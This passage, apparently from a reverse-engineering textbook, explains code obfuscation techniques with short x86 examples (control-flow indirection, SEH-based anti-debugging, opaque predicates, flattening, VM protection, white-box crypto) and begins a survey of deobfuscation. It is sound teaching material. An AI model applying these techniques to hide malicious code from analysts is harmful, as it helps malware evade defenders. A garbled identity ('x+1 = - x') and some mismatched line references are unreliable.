Constant unfolding is an obfuscation that performs the inverse operation. Given 

a constant value that is used somewhere in the input program, the obfuscator 

can replace the constant by some computation process that produces the con-

stant. You have already encountered this obfuscation in the motivating example:

01: push 0F9CBE47Ah
02: add dword ptr [esp], 6341B86h

Neglecting the modifi cations that this sequence has upon the fl ags, this was 

found to be equivalent to push 0h.

Data-Encoding Schemes

The fundamental fl aw of this technique is that constants have to be dynamically 

decoded (thus exposed, as well as the decode function) at run-time before being 

processed. We have the encoding function f(x) = x − 6341B86h, whose result f(x) is 

pushed on the stack, and then the decoded function is applied: f- 1 (x)= x + 6341B86h. 
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This construct is trivial; deobfuscation is done by simply applying the standard 

compiler’s constant folding optimization.

Efforts have been made to harden these statements and propose more resilient 

encoding schemes. Some techniques, such as polynomial encoding and residue 

encoding, have been described in patent US6594761 B1 by Chow, Johnson and 

Gu11. Affi ne maps are also commonly used.

What if one could fi nd an encoding such that it is not mandatory to decode 

variables to manipulate them (an equivalent operation can be defi ned on the 

encoded variables)? This property, called homomorphism, has been discussed 

in an obfuscation-oriented view, as well as a refi nement of the residue coding 

technique in works such as those of Zhu and Thomborson.44

In abstract algebra, a homomorphism is an operation-preserving mapping between 

two algebraic structures. Consider, for example, two groups, G and H, equipped 

respectively with operations +g and +h. We want to construct a mapping  f   between 

the sets underlying G and H, and we want your mapping to respect the opera-

tions +g and +h. In particular, we must have that f (x+g y) = f(x) +h f(y).
The notion of a homomorphism can be generalized beyond groups to arbitrary 

algebraic structures. For example, you can consider ring homomorphisms that 

simultaneously preserve both the addition and the multiplication operators. In 

contrast to mappings that preserve only one of the ring’s operations and not 

the other, or induce restrictions upon the operators or their usage, unrestricted 

mappings are considered fully homomorphic.

Fully homomorphic mappings have a natural application to obfuscation. 

If the source algebra is the unencoded domain, and the target algebra is the 

encoded one, then a homomorphic mapping enables us to perform computa-

tions directly upon the encoded data without having to decode it beforehand 

and re-encode it afterward.

At the time of writing, the topic of homomorphic cryptography is still in 

its infancy. Fully homomorphic cryptosystems have been shown to exist, and 

they enable the computation of encrypted programs upon encrypted data. That is 

to say, rigorous statements can be made concerning the hardness of determin-

ing specifi cs about the program being executed, and which data it is operating 

upon. At present, the schemes are too ineffi cient for practical usage, and how to 

best apply the technology to arbitrary computer programs is an open question.

Dead Code Insertion

Another common compiler optimization is known as dead code elimination, which 

is responsible for removing program statements that do not have any effect on 

the program’s operation. For example, consider the following C function:

int f()
{
  int x, y; 
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  x = 1;    // this assignment to x is dead 
  y = 2;    // y is not used again, so it is dead 
  x = 3;    // x above here is not live 
  return x; // x is live
}

Ultimately, the function returns the number 3. It does so after several mean-

ingless computations that do not affect the function’s output. The fi rst assign-

ments to x and y are said to be dead, as they have no effect on live computations.

Obfuscators perform the inverse of this operation by inserting dead code for 

the purpose of making the code harder to follow—the reverse engineer has to 

manually decide whether a given instruction participates in the computation of 

some meaningful result. The ability to insert “dead” code requires the obfuscator 

to know which registers are “live” at every given program point; for example, if 

EAX contains an important value (it’s live), and EBX does not (it’s dead), then you 

can insert statements that modify EBX.

Deobfuscation of this construct is done by simply applying the standard 

compiler’s dead statement elimination optimization, which can be done either 

on a single basic block or across an entire control-fl ow graph.

Arithmetic Substitution via Identities

Mathematical statements can be made relating the results of certain operators 

to the results of combinations of other operators. You have already seen an 

instance of this general phenomenon in the motivating example, when you 

encountered the instruction XOR EAX, 0FFFFFFFFh (where the binary representa-

tion of 0FFFFFFFFh is all one bits). Because 0 XOR 1 = 1, and 1 XOR 1 = 0, this 

instruction actually fl ips each of the bits in EAX; in other words, it is synonymous 

with the NOT operator. Similarly, you can make the following statements:

 ■ -x = ~x + 1 (by defi nition of two’s complement) 

 ■ rotate left(x,y) = (x << y) | (x >> (bits(x)-y))

 ■ rotate right(x,y) = (x >> y) | (x << (bits(x)-y))

 ■ x-1 = ~-x

 ■ x+1 = - x

Pattern-Based Obfuscation

Pattern-based obfuscation, a staple of many contemporary protections, has a 

simple underlying concept. The protection author manually constructs trans-

formations that map one or more adjacent instructions into a more complicated 

sequence of instructions that has the same semantic effect. For example, a pat-

tern might convert the sequence

01: push reg32
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into this sequence (which we will call #1):

01: push imm32
02: mov dword ptr [esp], reg32

Or, it might convert that same sequence into this sequence (#2):

01: lea esp, [esp-4]
02: mov dword ptr [esp], reg32 

Or this one (#3):

01: sub esp, 4
02: mov dword ptr [esp], reg32

Patterns can be arbitrarily complicated. A more complex example might 

substitute the pattern:

01: sub esp, 4

for this pattern (#4):

01: push reg32
02: mov reg32, esp
03: xchg [esp], reg32
04: pop esp

Some protections have hundreds of patterns. Most protections apply patterns 

randomly to the input sequence, such that two obfuscations of the same piece 

of code result in a different output. Also, the patterns are applied iteratively. 

Consider the following input:

01: push ecx

Imagine that it is transformed via substitution #3:

01: sub esp, 4
02: mov dword ptr [esp], ecx

Now suppose that the obfuscator is run a second time, and the fi rst instruc-

tion is replaced according to pattern #4:

01: push ebx
02: mov ebx, esp
03: xchg [esp], ebx
04: pop esp
05: mov dword ptr [esp], ecx

This process can be applied indefi nitely, resulting in an arbitrarily large 

output sequence. With enough patterns, one can transform one instruction into 

millions of instructions.

Note a few things about these substitutions. #1 and #2 preserve semantic 

equivalence: After those sequences execute, the CPU will be in the same state 
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that it would have been if the original one were executed instead. #3 does not 

preserve semantic equivalence, because it uses the sub-instruction that changes 

the fl ags, whereas the original push does not. As for sequence #4, the original 

does change the fl ags, whereas the substitution does not; also, whereas the 

original does not modify memory at all, the substitution writes the value of 

ESP onto the bottom of the stack (hence, you could also consider this as being 

equal to the PUSH ESP instruction).

These considerations illustrate the diffi culty of obfuscating assembly code 

post-compilation. The protection is only safe to execute substitution #3 if it is 

known that the fl ags modifi ed by the instruction are not used before the next 

modifi cation to those fl ags. Substitution #4 is similarly safe if the fl ags are dead, 

and if the resultant code is indifferent to the contents of [ESP] after the original 

SUB ESP, 4 operation. Ensuring fl ag liveness requires building the function’s 

control-fl ow graph, which can be diffi cult due to indirect branches. Ensuring 

that the stack memory modifi cation is safe would be extremely diffi cult due to 

memory aliasing. These specifi c concerns are unlikely to affect normal functions 

generated by a compiler for which control-fl ow graphs can be generated, but it 

is hoped that they illustrate the perils of applying semantically non-equivalent 

transformations to compiled code.

Owing to the complexities of obfuscating compiled assembly language, pro-

tections most commonly apply these transformations against the code cor-

responding to the protection itself, rather than the target’s code. This way, the 

protection authors can guarantee that the input code will be oblivious to those 

transformations that do not preserve strict semantic equivalence.

Deobfuscation of this type of obfuscation is simple, although it can be time-

consuming to write the deobfuscator. One can construct inverse pattern substitu-

tions, which instead map the target sequences into the original ones. In fact, this 

corresponds to a routine compiler optimization known as peephole optimization. 

Academic works, such as that by Jacob et al.25 or Bansal,1 have discussed the 

automated construction of both pattern-obfuscators and peephole optimizers.

This brings us back to the question of practical results versus academic ones. 

Suppose you are dealing with a pattern-based obfuscator that contains errors 

(e.g., erroneous pattern substitutions that do not preserve semantic equiva-

lence). Suppose further that you, as a deobfuscation researcher, are aware of 

the errors and are able to correct them at deobfuscation time. This means that 

your deobfuscator will similarly not preserve semantic equivalence and is there-

fore “incorrect” in absolute terms as far as transformation goes, but it actually 

produces “correct” results with respect to the pre-obfuscated code. Should you 

make the substitution? The formal correctness crowd would say no; we would 

answer in the affi rmative.
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Control-Based Obfuscation

When reverse engineering compiler-generated code, reverse engineers are able to 

rely on the predictability of the compiler’s translations of control fl ow constructs. 

In doing so, they can quickly ascertain the control fl ow structure of the original 

code at a level of abstraction higher than assembly language. Along the way, 

the reverse engineer relies upon a host of assumptions about how compilers 

generate code. In a pure compiled program, all code in a basic block will be most 

often sequentially located (heavy compiler optimizations can possibly render 

this basic premise null and void). Temporally related blocks usually will, too. 

A CALL instruction always corresponds to the invocation of some function. The 

RET instruction, too, will almost always signify the end of some function and its 

return to its caller. Indirect jumps, such as for implementing switch statements, 

appear infrequently and follow standard schemas. 

Control-based obfuscation attacks these planks of standard reverse engineering, 

in a way that complicates both static and dynamic analyses. Standard static analy-

sis tools make similar assumptions as human reverse engineers, in particular:

 ■ The CALL instruction is only used to invoke functions, and a function 

begins at the address targeted by a call.

 ■ Most calls return, and if they do, they return to the location immediately 

following the CALL instruction; ret and RETN statements connote function 

boundaries.

 ■ Upon encountering a conditional jump, disassemblers assume that it was 

placed into the code “in good faith”—in particular that:

 ■ Both sides of the branch could feasibly be taken.

 ■ Code, not data, is located down each side of the branch.

 ■ They will be able to easily ascertain the targets of indirect jumps.

 ■ Indirect jumps and calls will only be generated for standard constructs 

such as switches and function pointer invocations.

 ■ All control transfers target code locations, not data locations.

 ■ Exceptions will be used in predictable ways.

With respect to control transfers, disassemblers assume a model of “nor-

mality” based around the patterns of standard compiled code. They explicitly 

create functions at call targets, end them at return statements, continue disas-

sembling after a call instruction, traverse both sides of all conditional branches, 

assume all branch targets are code, use syntactic pattern-matching to resolve 

indirect jump schema, and generally ignore exceptional control fl ow. Violating 

the assumptions laid out previously leads to very poor disassembly. This is a 
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consistent thorn in the side of obfuscation researchers, and an open research 

topic (as discussed previously) in verifi cation.

Dynamic analysis has an easier time with respect to indirect control transfers, 

since it can explicitly follow execution fl ow. However, the attacker still faces ques-

tions involving determining the targets of indirect transfers, and suffers from 

the lack of sequential locality induced by so-called spaghetti code. The following 

sections elaborate upon what happens when these assumptions are challenged.

Functions In/Out-Lining

The call graph of a program carries a lot of its high-level logic. Playing with the 

notion of a function can break some of the reverser’s assumptions. It’s possible to: 

 ■ Inline functions—The code of a subfunction is merged into the code of 

its caller. Code size can grow quickly if the subfunction is called multiple 

times.

 ■ Outline functions—A subpart of a function is extracted and transformed 

into an independent function and replaced by a call to the newly created 

functions.

Combining these two operations over a program leads to a degenerated call 

graph with no apparent logic. It goes without saying that functions’ prototypes 

can also be toyed with to reorder arguments, add extra, fake arguments, and so 

on, to contribute to logic obscurity.

Destruction of Sequential and Temporal Locality

As stated, and as understood intrinsically by those who reverse engineer com-

piled code, the instructions within a single, compiled basic block lie in one 

straight-line sequence. This property is called sequential locality. Furthermore, 

compiler optimizers attempt to put basic blocks that are related to one another 

(for example, a block and its successors) nearby, for the purpose of maximizing 

instruction cache locality and reducing the number of branches in the compiled 

output. We call this property the sequential locality of temporally related code. When 

you reverse engineer compiled code, these properties customarily hold true. One 

learns in analyzing such code that all of the code responsible for a single unit of 

functionality will be neatly contained in a single region, and that the proximate 

control-fl ow neighbors will be nearby and similarly sequentially located.

A very old technique in program obfuscation is to introduce unconditional 

branches to destroy this aspect of familiarity that reverse engineers organically 

obtain through typical endeavors. Here is a simple example:

01: instr_1:
02:   push offset caption
03:    jmp instr_4 
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04:
05: instr_2:
06:    call MessageBoxA
07:    jmp instr_5 
08:
09: instr_3:
10:    push 0 
11:    jmp instr_2 
12:
13: start:
14:    push 0 
15:    jmp instr_1 
16:
17: instr_4:
18:    push offset dlgtxt
19    jmp instr_3 
20:
21: instr_5:
22: ; ...

This example shows the lack of sequential locality for instructions within a 

basic block, and not temporal locality of multiple basic blocks. In practice, large 

amounts of the program’s code will be intertwined in such a fashion (usually 

with more than one instruction on a given basic block, unlike the preceding 

example).

From a formal perspective, this technique does not even deserve to be called 

“trivial,” as it has no semantic effect whatsoever on the program. Constructing 

a control-fl ow graph and removing spurious unconditional branches will defeat 

this scheme entirely. However, in terms of analysis performed manually by a 

human, the ability to follow the code has been dramatically slowed.

Processor-Based Control Indirection

For most processors, two essential displacement primitives are the JMP-like 

branch and the CALL-like save instruction pointer and branch. These primi-

tives can be obfuscated by using dynamically computed branch addresses or 

by emulating them. One of the most basic techniques is the couple PUSH-RET 

used as a JMP instruction:

01: push target_addr
02: ret

That’s (almost) semantically equivalent to the following:

01: jmp target_addr
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The CALL instruction is an easy target for obfuscators because most disas-

semblers assume the following about its high-level semantics:

 ■ The target address is a subfunction entry point.

 ■ A call returns (i.e., the instruction after the CALL is executed).

It is actually easy to break these assumptions. Consider the following example:

01: call target_addr 
02: <junk code> 
03: target_addr: 
04: add esp, 4

The CALL is used as a JMP; it will never return to line 2. The stack is fi xed (the 

return address is discarded from the stack) on line 3. Next consider, these two 

elements:

01: basic_block_a:
02: add [esp], 9
03: ret

and

01: basic_block_b:
02: call basic_block_a
03: <junk code>
04: true_return_addr:
05: nop

basic_block_b’s line 2 CALL instruction points to basic_block_a, which actu-

ally is only a stub that updates (see basic_block_a’s line 2) the return address 

stored onto the top of the stack before the RET instruction uses it (basic_block_a’s 

line 3). In these two examples the result is an interval between CALL’s natural 

(expected) and effective return addresses; an obfuscator can (and will) take 

advantage to insert code that thwarts disassemblers and creates confusion.

The following example is an interesting enrichment of the standard PUSH-RET 

used as JMP previously:

01: push addr_branch_default
02: push ebx
03: push edx
04: mov ebx, [esp+8]
05: mov edx, addr_branch_jmp
06: cmovz ebx, edx
07: mov [esp+8], ebx
08: pop edx
09: pop ebx
10: ret
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The basis of this construction actually is a PUSH-RET. Line 7 writes the target 

address onto the stack; it is used by the RET at line 10. The pushed address comes 

from EBX (line 7), which is conditionally updated by the CMOVZX instruction at 

line 6. If the condition is satisfi ed (the Z fl ag is tested), then the instruction acts 

like a standard MOV (EBX is overwritten by EDX, which contains the branch target 

address), otherwise it acts like a NOP (thus EBX contains the default branch address). 

In the end, one can clearly see this pattern stands for a conditional jump (JZ).

Operating System–Based Control Indirection

The program can make use of operating system primitives (even though it may 

imply a loss of portability). The Structured Exception Handler (SEH), Vectored 

Exception Handler (VEH), and Unhandled Exception Handler, in Windows, and 

signal handlers and setjmp/longjmp functions, in Unix, are commonly used to 

obfuscate the control fl ow.

The basic algorithm can be decomposed as follows:

 1. Obfuscated code triggers an exception (using invalid pointer, invalid 

operation, invalid instruction, etc.).

 2. The operating system calls the registered exception handler(s).

 3. The exception handler dispatches the instruction fl ow according to its 

internal logic and sets back the program in a clean state.

The following example has been seen billions of times within x86 binaries:

01: push addr_seh_handler
02: push fs:[0]
03: mov fs:[0], esp
04: xor eax, eax
05: mov [eax], 1234h
06: <junk code>
07: addr_seh_handler:
08: <continue execution here>
09: pop fs:[0]
10: add esp, 4

Lines 1–3 set up the SEH. An exception is then triggered in the form of an 

access violation as line 5 attempts to write at 0x0. Assuming the program is not 

debugged, the operating system will transfer execution to the SEH handler. Please 

also note that when a SEH handler is called, it receives a copy of the thread’s 

context as one of its arguments, and the instruction pointer register value can 

be modifi ed to further obfuscate the control fl ow redirection. 

N O T E  This technique also effi  ciently acts as an anti-debugger. Basically, the job of 

a debugger is to handle exceptions. These exceptions have to be passed to the debug 

target; otherwise, the target’s behavior will be modifi ed and tampering detected.
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More interesting, the concept can also be reversed. What if a protection inserts 

exceptions in the original program and catches them with its own attached debug-

ger? The protected program consists of a debuggee and debugger. A well-known 

example of this is the namomites feature from Armadillo. Namomites actually 

replace (conditional) jumps by INT 3 instruction. The exception is caught by the 

protection’s debugger, which updates the debuggee’s context appropriately to 

emulate the (conditional) jumps. One cannot simply detach the debugger from 

the debuggee; otherwise, exceptions would not be handled and the program 

would crash. An implementation of this concept has been proposed by Deroko.19

Opaque Predicates

An opaque predicate (introduced by Collberg in “A Taxonomy of Obfuscating 

Transformations”12 and “Manufacturing Cheap, Resilient, and Stealthy Opaque 

Constructs”13) is a special conditional construct (Boolean expression) that always 

evaluates to either true or false (respectively noted PT and PF). Its value is known 

only at compilation/obfuscation time and should be unknown to an attacker as 

well as computationally hard to prove, to meet a suffi cient degree of resilience. 

Used in combination with a conditional jump instruction, it introduces an 

additional, spurious branch—i.e., an additional edge in the control-fl ow graph 

(CFG). This dead branch can be used to insert junk code or special properties 

like cycles in the CFG to harden the analysis. However, the spurious branch has 

to look real enough to escape simple detection by a human attacker (for example, 

only one of the two branches contains necessary variable initializations).

It has the appearance of a conditional jump but its semantics are that of an 

unconditional jump. Computationally complex mathematical problems can be 

used to implement opaque predicates. You can also use some environmental 

variables whose values are constant and known at compilation/obfuscation 

time. This last technique may be less resilient because there is a limited, fi nite 

set of candidate variables, thus limiting the potential diversity.

Designing resilient opaque predicates is a tough job. They are superfl uous 

pieces of code mixed with existing code that has its own logic/style; if no special 

care is taken they are easily detectable. A good practice is to create dependen-

cies between the predicate and the program’s state/variables. A human attacker 

(you) is usually quite effi cient at detecting dubious patterns. Using an absurdly 

complex predicate may effectively thwart a static analysis tool but it will prob-

ably be easily detected by a human attacker.

An interesting variation on the original concept uses a predicate that ran-

domly returns either true or false (noted P?). As both branches are potentially 

executed at run-time, they have to be semantically equivalent. In most cases 

that amounts to cloning (and possibly diversifying) a basic block (or a larger 

piece of code), producing a “diamond-like” construct.
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Simultaneous Control-Flow and Data-Flow Obfuscation

For the sake of clarity, we have dissociated control-fl ow and data-fl ow obfusca-

tion so far. In practice, however, both are intimately linked. This section presents 

techniques based on this interplay.

Inserting Junk Code

This technique is intimately tied to control fl ow obfuscation. It basically consists 

of inserting a dead (that is, never executed) code block between two valid code 

blocks. The objective is to totally thwart a disassembler that has already been 

tricked into following an invalid path (typically a case of opaque predicates). 

Instructions contained within the junk code may be partially invalid, or may 

create branches to invalid addresses (such as in the middle of valid instructions) 

to over-complicate the CFG.

The most trivial example of junk code insertion could be as follows:

01: jmp label
02: <junk> 
03: label:
04: <real code>

Here is something a bit more elaborate, using a dummy opaque predicate:

01: push eax
02: xor eax, eax
03: jz 9
04: <junk code start>
05: jg 4
06: inc esp
07: ret
08: <junk code end>
09: pop eax

The conditional jump at (address) line 3 is always true because the EAX reg-

ister is zeroed by the XOR instruction at line 1. That means you have six bytes 

of junk code. This junk block uses instructions that will infl uence the disas-

sembler, creating a new branch and seemingly inserting a function end (the 

RET instruction at line 9).

When generated appropriately, junk code blocks may be quite diffi cult to spot 

at fi rst sight. Most often they will be removed from the disassembler’s reach as 

a side effect of control fl ow deobfuscation (see http://www.openrce.org/blog/

view/1672/Control_Flow_Deobfuscation_ via_Abstract_Interpretation). In 

the last example, if the opaque predicate is detected as such, then no more paths 

lead to the junk code block. Like all the other techniques, if it is not differenti-

ated suffi ciently—for example, using a limited database of static patterns—its 

resilience and strength tend to be minimal.

http://www.openrce.org/blog/view/1672/Control_Flow_Deobfuscation_via_Abstract_Interpretation
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Control-Flow Graph Flattening

The basic idea behind graph fl attening is to replace all control structures with a 

unique switch statement, known as the dispatcher. A subgraph of the program’s 

control-fl ow graph is selected (implementations often work at the level of func-

tions) and transformed, at which time basic blocks may be reworked (split or 

merged). Each basic block is then responsible for updating the dispatcher’s 

context (i.e., the subprogram’s state) so that the dispatcher can link to the next 

basic block (see Figure 5-1). Relationships between basic blocks are now “hidden” 

within the dispatcher context’s manipulation operations. Conditional jumps (as 

in block d) can easily be emulated using fl ags testing and IMUL instructions, or 

simple CMOV instructions.

a

a

h

d

d

dispatcher

b

be e

c

c

g

g

h

f f

Figure 5-1

It goes without saying that a large part of this technique’s resilience against 

static analysis rests on the ability to obfuscate the context’s manipulations and 

transitions. Various features can be implemented to harden the problem, such 

as inter-procedural relationships, pointer aliasing, inserting dummy states, 

and so on.

In the same fashion as opaque predicates, CFG fl attening can also be used 

to insert dead code paths and spurious basic blocks. A lot can be said about 

graph fl attening and how to harden an implementation. The resulting graph 

offers no clues about the structure of the algorithm, and dispatch and context 

manipulation code also add an overhead that contributes to hiding the protected 

code. This technique is conceptually the same as code virtualization (virtual 
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machine); it can be seen as partial virtualization that targets (virtualizes) only 

the control fl ow (not the data fl ow).

Should you want to see fl attened code yourself, just grab a copy of a Flash 

plugin (such as NPSWF32.dll), disassemble the fi le, and look for functions with 

the biggest size. Flattened functions are easily recognizable.

Virtual Machines

Virtual machines (VMs) are a potent class of software protection and an espe-

cially complex transformation. A VM basically consists of an interpreter and 

some bytecode. The language supported by the interpreter is at the discretion 

of the protection. At compile-time, selected parts of code are compiled with 

respect to the VM’s target architecture (they are retargeted) and then inserted 

into the protected program alongside the associated interpreter. At run-time, 

the interpreter assumes the bytecode execution (i.e., the translation from target 

architecture to original architecture). VMs usually come with sizeable overhead 

in terms of performance (particularly CPU time), which is why typically only 

specifi c, selected parts of the original program are virtualized.

Examples of well-known, VM-centered protections include VMProtect and 

CodeVirtualizer. We will later delve into the delightful activity of VM analysis. 

For now, suffi ce it to say that an attacker has to understand the interpreter in 

order to analyze the bytecode and eventually to create a compiler from target 

architecture to native architecture (unvirtualization).

White Box Cryptography

When the application to be protected cannot base its security on the use of a 

hardware component, or on a network server, you must hypothesize an attacker 

able to execute the application in an environment that he or she perfectly con-

trols. The attacker model matching this situation, called the white-box attack 
context (WBAC), imposes a particular software implementation of classical 

cryptographic primitives.

Such mechanisms are tailor-made to ensure confi dentiality of a secret key 

within an algorithm. Such a transformation (hiding a key in an encryption 

algorithm, with or without the help of environment interaction) can be formal-

ized as an obfuscation transformation. 

This section describes some negative and positive results concerning code 

obfuscation, and their impact on this key management problem. 

A probabilistic algorithm O is an obfuscator if it satisfi es the following prop-

erties, given by Barak et al.2:

 ■ P and O(P) compute the same function.

 ■ The growth of execution time and space of O(P) is at most polynomial in 

regard to execution time and space of program P.
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 ■ For any polynomial time probabilistic algorithm A, there exists a polynomial 

time probabilistic algorithm S and a negligible function m (a negligible 

function is a function that grows much slower than the inverse of any 

polynomial), such as the following: for all programs P,

| p[A(O(P))=1] - p[SP(1|P|)=1] | ≤ m(|P|)

The virtual black box property expresses the fact that the outputs distribution of 

any probabilistic analysis algorithm A applied to the obfuscated program O(P) 
is almost everywhere equal to the outputs distribution of a simulator S making 

oracle access to program P. (Program S does not have access to the description 

of program P, but for any entry x, it is given access to P(x) in polynomial time in 

regard to the size of P. An oracle access to program P is equivalent to an access 

to sole inputs/outputs of the program P.)

Intuitively, the virtual black box property simply stipulates that everything 

that can be calculated from the obfuscated version O(P) can also be calculated 

via oracle access to P. 

One of the main points about such an ideal obfuscator is that it does not exist. 

The proof is based on the construction of a program that cannot be obfuscated. 

This impossibility result demonstrates that a virtual black box generator—which 

could protect the code of any program by preventing it from revealing more 

information than is revealed by its inputs/outputs—does not exist. This impos-

sibility result naturally leads to important outcomes for designers of obfuscation 

mechanisms (adapted to WBAC context).

Consider a practical application of obfuscation that consists of transforming 

a symmetric encryption into an asymmetric encryption, by obfuscating the pri-

vate key encryption scheme. An unobfuscatable private key encryption scheme 

does exist if a private key encryption scheme exists. This clearly indicates that 

private key encryption schemes are not all well suited for obfuscation.

Note that this result does not prove that there is not some private key encryption 

scheme such that we can give to the attacker a circuit calculating the encryption 

algorithm without security loss. It does prove, however, that there is no general 

method enabling the transformation of any private key encryption scheme into 

a public key encryption system by obfuscating the encryption algorithm. 

The problem of constructing a private key encryption scheme verifying the 

virtual black box property (thus resilient in the WBAC context) remains of inter-

est for cryptography researchers, even if the impossibility result concerning 

a generic way to manage it may seem discouraging. White box DES and AES 

implementations proposals illustrate this interest. 

Obfuscation by using a network of encoded lookup tables makes it possible 

to obtain from DES and AES algorithm versions that are more resilient in the 

white box attack context. However, effective cryptanalysis of DES (such as the 

one done by Goubin24) and AES (by Billet5) white box implementations has 
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established that the problem of constructing a private key encryption scheme 

verifying the virtual black box property remains unsolved.

The ideal model of an obfuscator able to transform any program into a virtual 

black box cannot be implemented. In particular, there is no general transforma-

tion that enables, starting from an encryption algorithm and a key, obtaining an 

obfuscated version of this algorithm that could be published without leaking 

information about the key it contains.

However, this formalism does not establish that it is impossible to hide a key 

in an algorithm in order to transform a private key algorithm into public key 

encryption. 

A method has been published (by Chow9) to make the extraction of the key 

diffi cult in the white box context. The principle is to implement a specialized 

version of the DES algorithm that embeds the key K, and which is able to do only 

one of the two operations, encrypt or decrypt. This implementation is resilient 

in a white box context because it is diffi cult to extract the key K by observing 

the operations carried out by the program and because it is diffi cult to forge 

the decryption function starting from the implementation of the encryption 

function, and inversely.

The main idea is to express the algorithm as a sequence (or a network) of 

lookup tables, and to obfuscate these tables by encoding their input/output. All 

the operations of the block cipher, such as the addition modulo 2 of the round 

key, are embedded in these lookup tables. These tables are randomized, in order 

to obfuscate their functioning.

Obfuscation of AES (described by Chow10) is done in a similar way as DES. 

The goal is still to embed the round keys in algorithm code, in order to avoid 

storing the key in static memory or loading it in dynamic memory at the time 

of execution. The technique used to securely embed these keys is (as for DES) to 

represent AES as a network of lookup tables, and to apply input/output encod-

ings in order to hide the keys.

Achieving Security by Obscurity

So far, you have seen a great number of obfuscation techniques. Most of them 

are simple transformations that seem quite weak at fi rst sight—and they are 

actually weak considered individually. How one can build security or trust from 

such primitives? The strength of an obfuscation system (or obfuscator) comes 

from the iterative and combined applications of a set of these techniques. Each 

successive application of a simple technique accrues into a strong indiscernible 

global transformation (well, at least that is the objective). An interesting analogy 

has been proposed by Jakubowski et al.26 between round-based cryptography 

and iterated obfuscation. A cryptographic algorithm’s round is made of basic 

arithmetic operations (addition, exclusive or, etc.) that perform trivial transfor-

mations on the inputs. Considered individually, a round is weak and prone to 
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multiple forms of attacks. Nevertheless, applying a set of rounds multiple times 

can result in a somewhat secure algorithm. That is the objective of an obfuscator. 

The objective of the attacker is to discern the rounds from the global obfuscated 

form and to attack them at their weakest points.

Keep in mind that even if the obfuscator is not perfect, as soon as it raises the 

bar required to break into the protected code by a suffi cient amount, this may be 

suffi cient for the defender. For example, if a few weeks or months are required 

to break into a new version of software, the defender can take advantage of 

that period to work on new protections, protocol updates, and so on, and thus 

always be ahead of the game.

A Survey of Deobfuscation Techniques 

Now that you have a better understanding of code obfuscation, the question 

is how can you, as a reverse engineer, take up the challenge? What means and 

tools are at your disposal to break into obfuscated code? Manual analysis of 

obfuscated code is a tedious, if not impossible, task; you’ll want to boil down 

the problem to clean code analysis.

Because a manual approach using standard program analysis tools is fas-

tidious, and considering the wide variety of obfuscation mechanisms that an 

analyst may face, it is necessary to fi nd some models and criteria to design and 

evaluate deobfuscation algorithms. This section provides a brief overview of the 

problem from a more theoretical perspective, and describes some well-studied 

formal methods that can be used to design more generic deobfuscation tools 

and automate as much as possible the tasks undertaken by an analyst.

The Nature of Deobfuscation: Transformation Inversion

In order to undo obfuscation transformation, several software analysis tech-

niques are available. This section covers the following:

 ■ The notion of decidable approximation

 ■ Some methods, either static or dynamic, that can be used, and advantages 

that can be gained from hybrid static dynamic methods (some of them 

are presented later through the use of specialized tools) 

 ■ Some criteria that can always been applied to evaluate an analysis algo-

rithm and from which it is possible to derive some security criteria about 

obfuscation robustness (and in a dual way a deobfuscation transforma-

tion effi ciency)

 ■ Open problems and new trends concerning hybrid dynamic/static analysis 

and formalization of deobfuscation
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The subject is vast, and there is still no consensus about the terminology 

for the various specialized areas of research in the literature. The goal of this 

section is thus to provide readers with some keywords to enable a global view, 

and some useful references for interested readers who want to supplement their 

knowledge in this domain.

You can observe several dichotomies in the fi eld of software analysis. Some 

analysis techniques are described as static or dynamic, even if this distinction some-

times seems quite artifi cial. (This distinction is discussed by Yannis Smaragdakis 

and Christoph Csallner38.) Otherwise, analysis algorithms are qualifi ed as sound 

or complete, but these important characteristics may have different meanings in 

the literature. Finally, program analyses are described as over-approximation or 

under-approximation, but this distinction also seems somewhat artifi cial because 

some analysis methods appear to use both over- and under-approximation.

The remainder of this section discusses both the “synergy” and “duality” of 

static and dynamic analysis (also discussed by Michael D. Ernst20), fi rst intro-

ducing the formal model of abstract interpretation and then providing several 

analysis examples in relation to deobfuscation.

Finding a Decidable Approximation of the Concrete Semantics

The purpose of any program analysis is to check whether the program satisfi es 

a certain property. Unfortunately, the question is generally undecidable for any 

non-trivial property—that is to say, you cannot design an algorithm to determine 

whether the property holds for the program. To overcome this diffi culty, one 

solution is to abstract the concrete behaviors of the program into a decidable 

approximation. The purpose of abstract interpretation is to formalize this idea 

of approximation in a unifi ed framework. (Readers can refer to the paper by 

Patrick Cousot and Radia Cousot.14) 

The semantics of a program represent all of its possible concrete behavior, 

including its interaction with any possible computer system environment. 

Among the most precise (concrete) semantics are the so-called trace semantics. 
This semantics includes all fi nite and infi nite sequences of states and transi-

tions. Where X is the set of execution traces (fi nite and infi nite), you can express 

the trace semantics as the least solution (for the computational partial ordering) 

of a fi xpoint equation X=F(X). 

An abstract domain is an abstraction of a concrete semantics. The goal of abstract 

interpretation is to provide computable, fi xpoint approximations of abstract 

domains, thus defi ning computable abstract semantics. Obviously, the coarser 

the abstract semantics, the fewer questions it can answer. 

All abstractions of a semantics can be organized in a hierarchy (described by 

Cousot16), from the most precise to the coarsest. More precisely, abstract seman-

tics can be placed on a lattice, and the approximation partial ordering of this lattice 
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can be used to characterize the concreteness (or precision) of abstract semantics, 

and thus the sets of questions they are able to answer. 

Abstract interpretation generally applies to static analysis, through an over-

approximation of the concrete semantics. You might notice that, in a dual way 

and according to the “dual principle” of lattice theory, it should also apply to 

dynamic analysis, even if there are not currently many works on this subject. 

You will see in the next section that relations and synergy between static and 

dynamic analysis lead to practical hybrid dynamic/static methods, making 

it possible both for a dynamic approach to gain in coverage and for a static 

approach to gain in precision.

Dynamic and Static Analyses Form a Continuum

Static analysis is the discipline of automatically inferring information about com-

puter programs without running them (it thus applies to a “static” representation 

of the program). Static analysis tries to derive properties (invariants) that hold 

for all executions of the program, through a conservative over-approximation 

of its concrete semantics.

An example of such static analysis is the constant propagation algorithm, which 

aims to determine for each program instruction whether a variable has a constant 

value whenever the control fl ow reaches that instruction. Information about 

constants is useful in the context of program compilation, optimization, and 

recompilation. It is used, for example, for dead code and dead execution path 

deletion (by replacing all uses of constant variables by their constant values, you 

may be able to identify constant conditional branches, which are conditioned 

by constant predicates).

Among the many optimization techniques, partial evaluation techniques 

(described by Beckman et al.3) must be kept in mind in the context of reverse 

engineering. A partial evaluator specializes a program with regard to part of its 

input data. You expect the program’s concrete semantics to be preserved by the 

specialization process and the resulting program’s syntactic representation to 

be optimized for the class of inputs used, and as a result simpler to understand.

Another important class of optimization techniques includes slicing tech-

niques (described by Weiser42), which also aim to simplify the program under 

consideration, but in this case by deleting those parts of the program that are 

